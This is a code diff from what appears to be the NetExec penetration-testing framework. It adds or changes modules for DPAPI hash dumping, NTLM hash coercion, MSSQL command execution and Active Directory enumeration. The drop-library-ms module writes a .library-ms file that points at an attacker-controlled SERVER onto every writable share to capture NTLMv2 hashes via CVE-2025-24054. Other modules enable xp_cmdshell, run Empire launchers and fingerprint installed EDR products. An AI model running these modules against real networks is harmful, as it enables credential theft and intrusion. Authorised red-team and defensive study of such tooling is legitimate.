-################################################################################
-class NetrDfsRemoveStdRoot(NDRCALL):
-    opnum = 13
-    structure = (
-        ("ServerName", WSTR),
-        ("RootShare", WSTR),
-        ("ApiFlags", DWORD),
-    )
-
-
-class NetrDfsRemoveStdRootResponse(NDRCALL):
-    structure = (("ErrorCode", ULONG),)
-
-
-class NetrDfsAddRoot(NDRCALL):
-    opnum = 12
-    structure = (
-        ("ServerName", WSTR),
-        ("RootShare", WSTR),
-        ("Comment", WSTR),
-        ("ApiFlags", DWORD),
-    )
-
-
-class NetrDfsAddRootResponse(NDRCALL):
-    structure = (("ErrorCode", ULONG),)
-
-
-class TriggerAuth:
-    def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
-        rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
-        if hasattr(rpctransport, "set_credentials"):
-            rpctransport.set_credentials(
-                username=username,
-                password=password,
-                domain=domain,
-                lmhash=lmhash,
-                nthash=nthash,
-                aesKey=aesKey,
-            )
-
-        if doKerberos:
-            rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
-        # if target:
-
-        rpctransport.setRemoteHost(target)
-        dce = rpctransport.get_dce_rpc()
-        nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
-        try:
-            dce.connect()
-        except Exception as e:
-            nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
-            return None
-        try:
-            dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
-        except Exception as e:
-            nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
-            return None
-        nxc_logger.debug("[+] Successfully bound!")
-        return dce
-
-    def NetrDfsRemoveStdRoot(self, dce, listener):
-        nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
-        try:
-            request = NetrDfsRemoveStdRoot()
-            request["ServerName"] = f"{listener}\x00"
-            request["RootShare"] = "test\x00"
-            request["ApiFlags"] = 1
-            if self.args.verbose:
-                nxc_logger.debug(request.dump())
-            dce.request(request)
-
-        except Exception as e:
-            nxc_logger.debug(e)
+        context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')

nxc/modules/dns-nonsecure.py

@@ -0,0 +1,68 @@
+from impacket.structure import Structure
+from nxc.parsers.ldap_results import parse_result_attributes
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """Module by @MaxToffy"""
+    name = "dns-nonsecure"
+    description = "Detects DNS zones that allow nonsecure dynamic updates"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.ENUMERATION
+
+    def options(self, context, module_options):
+        """No options available"""
+
+    def on_login(self, context, connection):
+        search_bases = {
+            "domain": f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}",
+            "forest": f"CN=MicrosoftDNS,DC=ForestDnsZones,{connection.forestDN}"
+        }
+
+        for dns_type, search_base in search_bases.items():
+            # Search for domain DNS zones
+            resp = connection.search(
+                searchFilter="(objectClass=dnsZone)",
+                attributes=["name", "dNSProperty"],
+                baseDN=search_base,
+            )
+            zones = parse_result_attributes(resp)
+
+            # Get dynamic updates configuration for each zones
+            allows_nonsecure_updates = []
+            for zone in zones:
+                for prop in zone["dNSProperty"]:
+                    dns_properties = DNS_PROPERTY(prop)
+
+                    # [MS-DNSP] 2.2.5.2.4.1 - DNS_RPC_ZONE_INFO_W2K - fAllowUpdate
+                    if dns_properties["Id"] == DSPROPERTY_ZONE_ALLOW_UPDATE and int.from_bytes(dns_properties["Data"]) == ZONE_UPDATE_UNSECURE:
+                        allows_nonsecure_updates.append(zone["name"])
+
+            if allows_nonsecure_updates:
+                context.log.success(f"{dns_type.capitalize()} DNS zone(s) allowing nonsecure dynamic updates")
+                for zone in allows_nonsecure_updates:
+                    context.log.highlight(zone)
+            else:
+                context.log.fail(f"No {dns_type} DNS zones allowing nonsecure dynamic updates")
+
+
+# [MS-DNSP] - 2.3.2.1 - dnsProperty
+class DNS_PROPERTY(Structure):
+    structure = (
+        ("DataLength", "<L-Data"),
+        ("NameLength", "<L"),
+        ("Flag", "<L"),
+        ("Version", "<L"),
+        ("Id", "<L"),
+        ("Data", ":"),
+        ("Name", "1s"),
+    )
+
+
+# [MS-DNSP] - 2.3.2.1.1 - Property Id
+DSPROPERTY_ZONE_ALLOW_UPDATE = 0x02
+
+# [MS-DNSP] - 2.2.5.2.4.1 - fAllowUpdate values
+ZONE_UPDATE_OFF = 0x00000000
+ZONE_UPDATE_UNSECURE = 0x00000001
+ZONE_UPDATE_SECURE = 0x00000002

nxc/modules/dpapi_hash.py

@@ -0,0 +1,38 @@
+from dploot.triage.masterkeys import MasterkeysTriage
+from nxc.helpers.misc import CATEGORY
+# Based on dpapimk2john, original work by @fist0urs
+
+
+class NXCModule:
+    name = "dpapi_hash"
+    description = "Remotely dump Dpapi hash based on masterkeys"
+    supported_protocols = ["smb", "wmi", "winrm", "mssql"]
+    category = CATEGORY.CREDENTIAL_DUMPING
+
+    def options(self, context, module_options):
+        """OUTPUTFILE       Output file to write hashes"""
+        self.outputfile = None
+        if "OUTPUTFILE" in module_options:
+            self.outputfile = module_options["OUTPUTFILE"]
+
+    def on_admin_login(self, context, connection):
+        try:
+            context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
+            masterkeys_triage = MasterkeysTriage(
+                target=connection.dpapi_triage.target,
+                conn=connection.dpapi_triage.conn,
+            )
+            context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
+            context.log.debug("Collecting user masterkeys")
+            masterkeys_triage.triage_masterkeys()
+            if self.outputfile is not None:
+                with open(self.outputfile, "a+") as fd:
+                    for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
+                        context.log.highlight(mkhash)
+                        fd.write(f"{mkhash}\n")
+            else:
+                for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
+                    context.log.highlight(mkhash)
+
+        except Exception as e:
+            context.log.debug(f"Could not get masterkeys: {e}")

nxc/modules/drop-library-ms.py

@@ -0,0 +1,91 @@
+import ntpath
+from nxc.paths import TMP_PATH
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Requested by the issue #652, heavily inspired by drop-sc, scuffy and slinky modules
+    https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/
+    https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
+    Module by: @XedSama
+    """
+    name = "drop-library-ms"
+    description = "Creates and uploads an arbitrary .library-ms on writable shares, leveraging CVE-2025-24054 for looting NTLMv2 hash"
+    supported_protocols = ["smb"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+        self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
+
+        self.server = None
+        self.lms_name = ""
+        self.cleanup = False
+
+        self.local_path = None
+        self.remote_path = None
+
+    def options(self, context, module_options):
+        """
+        SERVER      Attacker machine
+        NAME        File name
+        IGNORE      Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
+        CLEANUP     Cleaning option (True or False)
+        """
+        if "SERVER" not in module_options and not self.cleanup:
+            context.log.fail("SERVER option is required")
+            exit(1)
+
+        if "NAME" not in module_options:
+            context.log.fail("NAME option is required!")
+            exit(1)
+
+        if "IGNORE" in module_options:
+            self.ignore_shares = module_options["IGNORE"].split(",")
+            context.log.debug(f"Ignoring shares: {self.ignore_shares}")
+
+        if "CLEANUP" in module_options:
+            self.cleanup = bool(module_options["CLEANUP"])
+            context.log.debug(f"CLEANUP is set to {self.cleanup}")
+
+        self.lms_name = module_options["NAME"]
+        self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
+        self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
+
+        if not self.cleanup:
+            self.server = module_options["SERVER"]
+            with open(self.local_path, "w", encoding="utf-8") as libms:
+                libms.truncate(0)
+                libms.write('<?xml version="1.0" encoding="UTF-8"?>')
+                libms.write('<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">')
+                libms.write("<searchConnectorDescriptionList>")
+                libms.write("<searchConnectorDescription>")
+                libms.write("<simpleLocation>")
+                libms.write(f"<url>\\\\{self.server}\\LIBRARY</url>")
+                libms.write("</simpleLocation>")
+                libms.write("</searchConnectorDescription>")
+                libms.write("</searchConnectorDescriptionList>")
+                libms.write("</libraryDescription>")
+
+    def on_login(self, context, connection):
+        shares = connection.shares()
+        for share in shares:
+            if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
+                context.log.success(f"Found writable share : {share['name']}")
+
+                if self.cleanup:
+                    try:
+                        connection.conn.deleteFile(share["name"], self.remote_path)
+                        context.log.success(f"Deleted .library-ms file on share '{share['name']}'")
+                    except Exception as e:
+                        context.log.fail(f"Error deleting .library-ms file on share '{share['name']}' : {e}")
+
+                else:
+                    with open(self.local_path, "rb") as libms:
+                        try:
+                            connection.conn.putFile(share["name"], self.remote_path, libms.read)
+                            context.log.success(f"Created .library-ms file on share '{share['name']}'")
+                        except Exception as e:
+                            context.log.fail(f"Error writing .library-ms file on share '{share['name']}' : {e}")

nxc/modules/drop-sc.py

@@ -1,5 +1,6 @@
 import ntpath
 import tempfile
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
@@ -12,8 +13,7 @@ class NXCModule:
     name = "drop-sc"
     description = "Drop a searchConnector-ms file on each writable share"
     supported_protocols = ["smb"]
-    opsec_safe = False
-    multiple_hosts = True
+    category = CATEGORY.PRIVILEGE_ESCALATION
 
     def options(self, context, module_options):
         """
@@ -47,7 +47,7 @@ class NXCModule:
             with open(self.scfile_path, "w") as scfile:
                 scfile.truncate(0)
                 scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
-                scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
+                scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
                 scfile.write("<description>Microsoft Outlook</description>")
                 scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
                 scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")

nxc/modules/dump-computers.py

@@ -0,0 +1,71 @@
+from nxc.helpers.misc import CATEGORY
+from nxc.parsers.ldap_results import parse_result_attributes
+
+
+class NXCModule:
+    name = "dump-computers"
+    description = "Dumps FQDN and OS of all computers in the domain"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.ENUMERATION
+
+    def options(self, context, module_options):
+        """
+        TYPE        Only dump NETBIOS or FQDN instead of 'FQDN (OS Version)'
+        OUTPUT      Output to file in addition to printing to console
+
+        Examples
+        --------
+        netexec ldap $DC-IP -u $username -p $password -M dump-computers
+        netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios
+        netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=fqdn
+        netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios OUTPUT=<location>
+        """
+        self.output_file = None
+        self.netbios_only = False
+        self.fqdn_only = False
+
+        if "OUTPUT" in module_options:
+            self.output_file = module_options["OUTPUT"]
+        if "TYPE" in module_options:
+            if module_options["TYPE"].lower() == "netbios":
+                self.netbios_only = True
+            elif module_options["TYPE"].lower() == "fqdn":
+                self.fqdn_only = True
+
+    def on_login(self, context, connection):
+        resp = connection.search(
+            searchFilter="(objectCategory=computer)",
+            attributes=["dNSHostName", "operatingSystem"]
+        )
+        resp_parsed = parse_result_attributes(resp)
+
+        answers = []
+        context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
+
+        for item in resp_parsed:
+            dns_host_name = item.get("dNSHostName")
+            operating_system = item.get("operatingSystem", "Unknown OS")
+            if not dns_host_name:
+                context.log.debug(f"Skipping computer without dNSHostName: {item.get('cn', '<unknown>')}")
+                continue
+
+            if self.netbios_only:
+                netbios_name = dns_host_name.split(".")[0]
+                answer = netbios_name
+            elif self.fqdn_only:
+                answer = dns_host_name
+            else:
+                answer = f"{dns_host_name} ({operating_system})"
+            answers.append(answer)
+
+        context.log.success("Found the following computers:")
+        for answer in answers:
+            context.log.highlight(answer)
+
+        if self.output_file:
+            try:
+                with open(self.output_file, "w") as f:
+                    f.write("\n".join(answers) + "\n")
+                context.log.success(f"Results saved to {self.output_file}")
+            except Exception as e:
+                context.log.error(f"Failed to write to file {self.output_file}: {e}")

nxc/modules/efsr_spray.py

@@ -0,0 +1,20 @@
+from nxc.context import Context
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    name = "efsr_spray"
+    description = "[REMOVED] Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
+    supported_protocols = ["smb"]
+    excluded_shares = ["SYSVOL"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def options(self, context: Context, module_options: dict[str, str]):
+        """
+        FILE_NAME      Name of the file which will be tried to create and afterwards delete
+        SHARE_NAME     If set, ONLY this share will be used
+        EXCLUDED_SHARES List of share names which will not be used, separated by comma
+        """
+
+    def on_login(self, context: Context, connection):
+        context.log.fail('[REMOVED] This module has been made obsolete and EFS will be activated automatically by "coerce_plus"')

nxc/modules/empire_exec.py

@@ -1,6 +1,7 @@
 import sys
 import requests
 from requests import ConnectionError
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
@@ -12,8 +13,7 @@ class NXCModule:
     name = "empire_exec"
     description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
     supported_protocols = ["smb", "mssql"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.PRIVILEGE_ESCALATION
 
     def options(self, context, module_options):
         """
@@ -33,7 +33,7 @@ class NXCModule:
         obfuscate = "OBFUSCATE" in module_options
         # we can use commands instead of backslashes - this is because Linux and OSX treat them differently
         default_obfuscation = "Token,All,1"
-        obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
+        obfuscate_cmd = module_options.get("OBFUSCATE_CMD", default_obfuscation)
         context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}")
 
         # Pull the host and port from the config file

nxc/modules/enable_cmdshell.py

@@ -0,0 +1,80 @@
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Enables or disables xp_cmdshell in MSSQL Server.
+    Module by crosscutsaw
+    """
+
+    name = "enable_cmdshell"
+    description = "Enable or disable xp_cmdshell in MSSQL Server"
+    supported_protocols = ["mssql"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def __init__(self):
+        self.mssql_conn = None
+        self.context = None
+        self.action = None
+        self.advanced_options_backup = None  # Stores original value of 'show advanced options'
+
+    def options(self, context, module_options):
+        """
+        ACTION      enable or disable xp_cmdshell
+
+        Examples
+        --------
+        netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=enable
+        netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=disable
+        """
+        if "ACTION" in module_options:
+            self.action = module_options["ACTION"].lower()
+        else:
+            context.log.fail("Missing required option: ACTION (enable/disable)")
+            exit(1)
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+
+        if self.action == "enable":
+            self.toggle_xp_cmdshell(enable=True)
+        elif self.action == "disable":
+            self.toggle_xp_cmdshell(enable=False)
+        else:
+            self.context.log.fail("Invalid ACTION. Use 'enable' or 'disable'.")
+
+    def backup_show_advanced_options(self):
+        """Backs up the current state of 'show advanced options'."""
+        res = self.mssql_conn.sql_query("SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'")
+        if res:
+            self.advanced_options_backup = int(res[0]["value"])  # Convert to integer
+
+    def restore_show_advanced_options(self):
+        """Restores the original state of 'show advanced options' if needed."""
+        if self.advanced_options_backup is not None and self.advanced_options_backup == 0:
+            self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '0'; RECONFIGURE;")
+
+    def toggle_xp_cmdshell(self, enable: bool):
+        """Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
+        state = "1" if enable else "0"
+        action_text = "enabled" if enable else "disabled"
+
+        # Backup 'show advanced options' state
+        self.backup_show_advanced_options()
+
+        # Enable 'show advanced options' if it was disabled
+        self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;")
+
+        try:
+            # Enable or disable xp_cmdshell
+            self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
+            if self.mssql_conn.lastError:
+                self.context.log.fail(f"Failed to {action_text[:-1]} xp_cmdshell: {self.mssql_conn.lastError}")
+            else:
+                self.context.log.success(f"xp_cmdshell successfully {action_text}.")
+        except Exception as e:
+            self.context.log.fail(f"Failed to execute command: {e}")
+
+        # Restore 'show advanced options' to its original state if needed
+        self.restore_show_advanced_options()

nxc/modules/entra-id.py

@@ -0,0 +1,83 @@
+
+import re
+
+from termcolor import colored
+from nxc.helpers.misc import CATEGORY
+from nxc.parsers.ldap_results import parse_result_attributes
+from nxc.config import host_info_colors
+
+
+class NXCModule:
+    """Module by @NeffIsBack"""
+
+    name = "entra-id"
+    description = "Find the Entra ID sync server"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self):
+        self.context = None
+        self.module_options = None
+
+    def options(self, context, module_options):
+        """No options available."""
+
+    def on_login(self, context, connection):
+        self.context = context
+
+        # For every Entra ID syncronization server, there is a corresponding MSOL_ account and likely an ADSyncMSA service account.
+        msol_parsed = parse_result_attributes(connection.search(
+            searchFilter="(sAMAccountName=MSOL_*)",
+            attributes=["sAMAccountName", "cn", "description"],
+        ))
+        self.context.log.info(f"Found the following MSOL accounts: {msol_parsed}")
+        adsync_parsed = parse_result_attributes(connection.search(
+            searchFilter="(sAMAccountName=ADSyncMSA*)",
+            attributes=["sAMAccountName", "cn", "msDS-HostServiceAccountBL"],
+        ))
+        self.context.log.info(f"Found the following ADSyncMSA accounts: {adsync_parsed}")
+
+        hosts = []
+        for acc in msol_parsed:
+            host = re.search(r"computer (?P<host>.*) configured", acc["description"])
+            if host:
+                hostname = host.group("host")
+                # Try to get the dNSHostName for the host, if not use the NetBIOS name from the description
+                resp = parse_result_attributes(connection.search(f"(sAMAccountName={hostname}$)", ["dNSHostName"]))
+                ip = connection.resolver(resp[0]["dNSHostName"] if resp else hostname)
+
+                hosts.append({
+                    "hostname": hostname,
+                    "ip": ip,
+                    "msol_account": acc["sAMAccountName"],
+                })
+
+        for adsync in adsync_parsed:
+            # The last 5 chars of the ADSyncMSA account name are the identifier for the corresponding MSOL account
+            identifier = str(adsync["cn"]).removeprefix("ADSyncMSA")
+            msol_acc = next((x for x in msol_parsed if str(x["sAMAccountName"]).startswith(f"MSOL_{identifier}")), None)
+            self.context.log.debug(f"Found ADSyncMSA account: {adsync['sAMAccountName']}, corresponding MSOL account: {msol_acc['sAMAccountName'] if msol_acc else 'None'}")
+
+            # Get the computer object for the ADSyncMSA service account
+            computer = parse_result_attributes(connection.search(
+                searchFilter=f"(distinguishedName={adsync['msDS-HostServiceAccountBL']})",
+                attributes=["dNSHostName", "cn", "sAMAccountName"],
+            ))[0]
+
+            # If we already found a host with its MSOL account, extend that info, otherwise create a new host entry
+            host = next((x for x in hosts if x["hostname"] == computer["cn"]), None)
+            if host and host["ip"]:   # Skip if host and IP are already set
+                self.context.log.debug(f"Host '{host['hostname']}' already exists with IP {host['ip'].get('host')}, skipping update.")
+                continue
+            elif host:                # If host exists but IP is not set, update it
+                host["ip"] = connection.resolver(computer["dNSHostName"])
+            else:                     # If host does not exist, create a new entry
+                hosts.append({
+                    "hostname": computer["cn"],
+                    "ip": connection.resolver(computer["dNSHostName"]),
+                })
+
+        if hosts:
+            self.context.log.success("Found Entra ID sync servers:")
+        for host in hosts:
+            self.context.log.highlight(f"{host['hostname']}: {colored(host['ip'].get('host', '<not found>'), host_info_colors[0])}" + colored(f" (MSOL Account: {host.get('msol_account', 'N/A')})", "yellow", attrs=["bold"]))

nxc/modules/enum_av.py

@@ -3,9 +3,11 @@
 # Module by @mpgn_x64
 # https://twitter.com/mpgn_x64
 
-from impacket.dcerpc.v5 import lsat, lsad, transport
+from impacket.dcerpc.v5 import lsat, lsad
 from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
 import pathlib
+from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
 
 
 class NXCModule:
@@ -17,8 +19,7 @@ class NXCModule:
     name = "enum_av"
     description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.ENUMERATION
 
     def __init__(self, context=None, module_options=None):
         self.context = context
@@ -35,7 +36,7 @@ class NXCModule:
         results = self._detect_installed_services(context, connection, target)
         self.detect_running_processes(context, connection, results)
 
-        self.dump_results(results, connection.hostname, context)
+        self.dump_results(results, context)
 
     def _get_target(self, connection):
         return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
@@ -44,32 +45,19 @@ class NXCModule:
         results = {}
 
         try:
-            lsa = LsaLookupNames(
-                domain=connection.domain,
-                username=connection.username,
-                password=connection.password,
-                remote_name=target,
-                do_kerberos=connection.kerberos,
-                kdcHost=connection.domain,
-                lmhash=connection.lmhash,
-                nthash=connection.nthash,
-                aesKey=connection.aesKey
-            )
-
-            dce, _ = lsa.connect()
+            lsa = LsaLookupNames(connection=connection)
+            dce = lsa.connect()
             policyHandle = lsa.open_policy(dce)
-            try:
-                for product in conf["products"]:
-                    for service in product["services"]:
+            for product in conf["products"]:
+                for service in product["services"]:
+                    try:
                         lsa.LsarLookupNames(dce, policyHandle, service["name"])
                         context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
                         results.setdefault(product["name"], {"services": []})["services"].append(service)
-            except Exception:
-                pass
-
+                    except Exception:
+                        pass
         except Exception as e:
             context.log.fail(str(e))
-
         return results
 
     def detect_running_processes(self, context, connection, results):
@@ -80,13 +68,13 @@ class NXCModule:
                 for product in conf["products"]:
                     for pipe in product["pipes"]:
                         if pathlib.PurePath(fl).match(pipe["name"]):
-                            context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
+                            context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
                             prod_results = results.setdefault(product["name"], {})
                             prod_results.setdefault("pipes", []).append(pipe)
         except Exception as e:
-            context.log.debug(str(e))
+            context.log.fail(str(e))
 
-    def dump_results(self, results, remoteName, context):
+    def dump_results(self, results, context):
         if not results:
             context.log.highlight("Found NOTHING!")
             return
@@ -103,80 +91,11 @@ class NXCModule:
 
 
 class LsaLookupNames:
-    timeout = None
-    authn_level = None
-    protocol = None
-    transfer_syntax = None
-    machine_account = False
+    def __init__(self, connection=None):
+        self.connection = connection
 
-    iface_uuid = lsat.MSRPC_UUID_LSAT
-    authn = True
-
-    def __init__(
-        self,
-        domain="",
-        username="",
-        password="",
-        remote_name="",
-        do_kerberos=False,
-        kdcHost="",
-        lmhash="",
-        nthash="",
-        aesKey="",
-    ):
-        self.domain = domain
-        self.username = username
-        self.password = password
-        self.remoteName = remote_name
-        self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
-        self.doKerberos = do_kerberos
-        self.lmhash = lmhash
-        self.nthash = nthash
-        self.aesKey = aesKey
-        self.dcHost = kdcHost
-
-    def connect(self, string_binding=None, iface_uuid=None):
-        """Obtains a RPC Transport and a DCE interface according to the bindings and
-        transfer syntax specified.
-        :return: tuple of DCE/RPC and RPC Transport objects
-        :rtype: (DCERPC_v5, DCERPCTransport)
-        """
-        string_binding = string_binding or self.string_binding
-        if not string_binding:
-            raise NotImplementedError("String binding must be defined")
-
-        rpc_transport = transport.DCERPCTransportFactory(string_binding)
-
-        # Set timeout if defined
-        if self.timeout:
-            rpc_transport.set_connect_timeout(self.timeout)
-
-        # Authenticate if specified
-        if self.authn and hasattr(rpc_transport, "set_credentials"):
-            # This method exists only for selected protocol sequences.
-            rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
-
-        if self.doKerberos:
-            rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
-
-        # Gets the DCE RPC object
-        dce = rpc_transport.get_dce_rpc()
-
-        # Set the authentication level
-        if self.authn_level:
-            dce.set_auth_level(self.authn_level)
-
-        # Connect
-        dce.connect()
-
-        # Bind if specified
-        iface_uuid = iface_uuid or self.iface_uuid
-        if iface_uuid and self.transfer_syntax:
-            dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax)
-        elif iface_uuid:
-            dce.bind(iface_uuid)
-
-        return dce, rpc_transport
+    def connect(self):
+        return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
 
     def open_policy(self, dce):
         request = lsad.LsarOpenPolicy2()
@@ -208,6 +127,27 @@ conf = {
             "services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
             "pipes": []
         },
+        {
+            "name": "Arctic Wolf",
+            "services": [
+                {"name": "AwWfpService", "description": "Arctic Wolf Agent Containment"},
+                {"name": "ArcticWolfAgentMgr", "description": "Arctic Wolf Agent Manager"}
+            ],
+            "pipes": []
+        },
+        {
+            "name": "Avast / AVG",
+            "services": [
+                {"name": "AvastWscReporter", "description": "Avast WSC Reporter Service"},
+                {"name": "aswbIDSAgent", "description": "Avast IDS Agent Service"},
+                {"name": "AVGWscReporter", "description": "AVG WSC Reporter Service"},
+                {"name": "avgbIDSAgent", "description": "AVG IDS Agent Service"}
+            ],
+            "pipes": [
+                {"name": "aswCallbackPipe*", "processes": ["AvastSvc.exe", "aswEngSrv.exe"]},
+                {"name": "avgCallbackPipe*", "processes": ["AVGSvc.exe", "aswEngSrv.exe"]}
+            ]
+        },
         {
             "name": "Bitdefender",
             "services": [
@@ -237,6 +177,24 @@ conf = {
             "services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
             "pipes": []
         },
+        {
+            "name": "Check Point Endpoint Security",
+            "services": [
+                {"name": "CPDA", "description": "Check Point Endpoint Agent"},
+                {"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
+                {"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
+                {"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
+            ],
+            "pipes": []
+        },
+        {
+            "name": "Cortex",
+            "services": [
+                {"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
+                {"name": "cyserver", "description": "Cortex XDR"}
+            ],
+            "pipes": []
+        },
         {
             "name": "CrowdStrike",
             "services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
@@ -254,6 +212,24 @@ conf = {
                 {"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
             ]
         },
+        {
+            "name": "Cynet",
+            "services": [
+                {"name": "CynetLauncher", "description": "CynetLauncher"}
+            ],
+            "pipes": []
+        },
+        {
+            "name": "Elastic EDR",
+            "services": [
+                {"name": "Elastic Agent", "description": "Elastic Agent Service"},
+                {"name": "ElasticEndpoint", "description": "Elastic Endpoint Security Service"}
+            ],
+            "pipes": [
+                {"name": "ElasticEndpointServiceComms-*", "processes": ["elastic-endpoint.exe"]},
+                {"name": "elastic-agent-system", "processes": ["elastic-agent.exe"]}
+            ]
+        },
         {
             "name": "ESET",
             "services": [
@@ -261,10 +237,31 @@ conf = {
                 {"name": "epfw", "description": "ESET"},
                 {"name": "epfwlwf", "description": "ESET"},
                 {"name": "epfwwfp", "description": "ESET"},
-                {"name": "EraAgentSvc", "description": "ESET"},
+                {"name": "EraAgentSvc", "description": "ESET Management Agent service"},
+                {"name": "ERAAgent", "description": "ESET Management Agent service"},
+                {"name": "efwd", "description": "ESET Communication Forwarding Service"},
+                {"name": "ehttpsrv", "description": "ESET HTTP Server"},
             ],
             "pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
         },
+        {
+            "name": "FortiClient",
+            "services": [
+                {"name": "FA_Scheduler", "description": "FortiClient Service Scheduler"},
+                {"name": "FCT_SecSvr", "description": "Forticlient Endpoint Protected Process Service"}
+            ],
+            "pipes": [
+                {"name": "FortiClient_DBLogDaemon", "processes": ["FCDBLog.exe"]},
+                {"name": "FC_*", "processes": ["FortiTray.exe"]}
+            ]
+        },
+        {
+            "name": "FortiEDR",
+            "services": [
+                {"name": "FortiEDR Collector Service", "description": "Host component of the Fortinet Endpoint Detection and Response Platform"}
+            ],
+            "pipes": []
+        },
         {
             "name": "G DATA Security Client",
             "services": [
@@ -276,6 +273,40 @@ conf = {
                 {"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
             ]
         },
+        {
+            "name": "HarfangLab EDR",
+            "services": [
+                {"name": "hurukai", "description": "HarfangLab Hurukai Agent"},
+                {"name": "Hurukai agent", "description": "HarfangLab Hurukai Agent Service"},
+                {"name": "HarfangLab Hurukai agent", "description": "HarfangLab Hurukai Agent Program"},
+                {"name": "hurukai-av", "description": "HarfangLab Hurukai Antivirus"},
+                {"name": "hurukai-ui", "description": "HarfangLab Hurukai UI"}
+            ],
+            "pipes": [
+                {"name": "hurukai-control", "processes": ["hurukai.exe"]},
+                {"name": "hurukai-servicing", "processes": ["hurukai.exe"]},
+                {"name": "hurukai-amsi", "processes": ["hurukai.exe"]}
+            ]
+        },
+        {
+            "name": "Ivanti Security",
